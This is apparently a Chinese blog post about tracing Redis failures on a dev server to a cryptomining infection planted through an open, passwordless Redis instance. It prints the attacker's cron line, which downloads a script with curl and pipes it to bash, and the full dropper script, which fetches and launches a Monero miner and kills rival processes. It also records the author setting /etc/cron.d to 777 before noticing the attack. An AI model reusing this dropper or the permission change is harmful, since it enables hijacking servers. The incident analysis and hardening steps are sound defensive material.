记一次Redis故障的排查

背景:

最近在公司dev服务器上搭建的redis总会出现异常,需要重启才能正常工作,严重影响开发效率,试图排查解决该问题

步骤:

查看redis配置文件:

查看/etc/redis.conf文件

loglevel notice
logfile /var/log/redis/redis.log

查看日志文件:

查看 /var/log/redis/redis.log文件
发现重启前一直出现错误报告

22661:C 29 Nov 16:25:43.078 # Failed opening the RDB file root (in server root dir /etc/cron.d) for saving: Permission denied

推测是rdb设置权限错误导致该问题…

修改对应权限:

查看对应权限
/etc/cron.d 目录权限为xxx,修改为777
该目录用于redis启动AOF持久化定时命令,写入失败导致redis异常

问题解决

事后发现 /etc/cron.d 目录下果然多了一个redis生成的root文件,之前是因为无法写入导致redis异常

后续:

神转折,后来看了下写入的是什么文件,发现redis中多了一个键,内容是

*/5 * * * * curl -fsSLk https://pixeldra.in/api/download/nbf6QU | bash

到该网址发现下载了一个文件

#!/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
getnanoWatch(){
    ARCH=$(uname -i)
    if [ "$ARCH" == "x86_64" ]
    then
        rm -rf /tmp/nanoWatch*
        wget https://pixeldra.in/api/download/BsjL1_ --no-check-certificate -O /tmp/nanoWatch
            if [ $? -ne 0 -a $PS2 -eq 0 ];
            then
            curl -sk https://pixeldra.in/api/download/BsjL1_ -o /tmp/nanoWatch
            fi
    elif [ "$ARCH" == "i386" ]
    then
        rm -rf /tmp/nanoWatch*
        wget https://pixeldra.in/api/download/BsjL1_ --no-check-certificate -O /tmp/nanoWatch
            if [ $? -ne 0 -a $PS2 -eq 0 ];
            then
            curl -sk https://pixeldra.in/api/download/BsjL1_ -o /tmp/nanoWatch
            fi
    else
        rm -rf /tmp/nanoWatch*
        wget https://pixeldra.in/api/download/BsjL1_ --no-check-certificate -O /tmp/nanoWatch
            if [ $? -ne 0 -a $PS2 -eq 0 ];
            then
            curl -sk https://pixeldra.in/api/download/BsjL1_ -o /tmp/nanoWatch
            fi
    fi
}

killNiggiz(){
    ps -ef | grep crypto-pool | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep nanopool | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep supportxmr | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep minexmr | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep dwarfpool | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep xmrpool | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep moneropool | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep xmr | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep monero | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep udevs | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep udevd | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep docker | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep hashvault | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep moneroocean | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep evolutions | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep littletrump | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep jboss | grep -v grep | awk '{print $2}' | xargs kill -9
    skill -KILL crypto-pool
    skill -KILL nanopool
    skill -KILL supportxmr
    skill -KILL minexmr
    skill -KILL dwarfpool
    skill -KILL xmrpool
    skill -KILL moneropool
    skill -KILL xmr
    skill -KILL monero
    skill -KILL udevs
    skill -KILL udevd
    skill -KILL docker
    skill -KILL hashvault
    skill -KILL moneroocean
    skill -KILL evolutions
    skill -KILL littletrump
    skill -KILL jboss
}

killNiggiz

PS2=$(ps aux | grep nanoWatch | grep -v "grep" | wc -l)
if [ $PS2 -eq 0 ];
then
    getnanoWatch
fi
chmod +x /tmp/nanoWatch
chmod 777 /tmp/nanoWatch
if [ $PS2 -eq 0 ];
then
/tmp/nanoWatch -o pool.t00ls.ru:19000 -k -B
fi

特么被通过redis写进了一个挖矿脚本…
命名也十分搞笑,总之得知问题之后重装了系统,惨痛的代价
其实还是安全性的问题,之前的redis方便起见所有ip都可以访问,端口是默认的6379,密码为空,导致黑客完全可以写个脚本扫描所有ip的6379端口空密码试图连接这种毫无安全意识的服务器,并向redis中写入一些脚本文件…然后就是为所欲为了
吸取这次教训修改了redis的默认端口及密码
在redis.conf下加入如下内容禁止高风险命令的执行

rename-command config ""
rename-command flushall ""
rename-command flushdb ""
rename-command shutdown ""
rename-command eval ""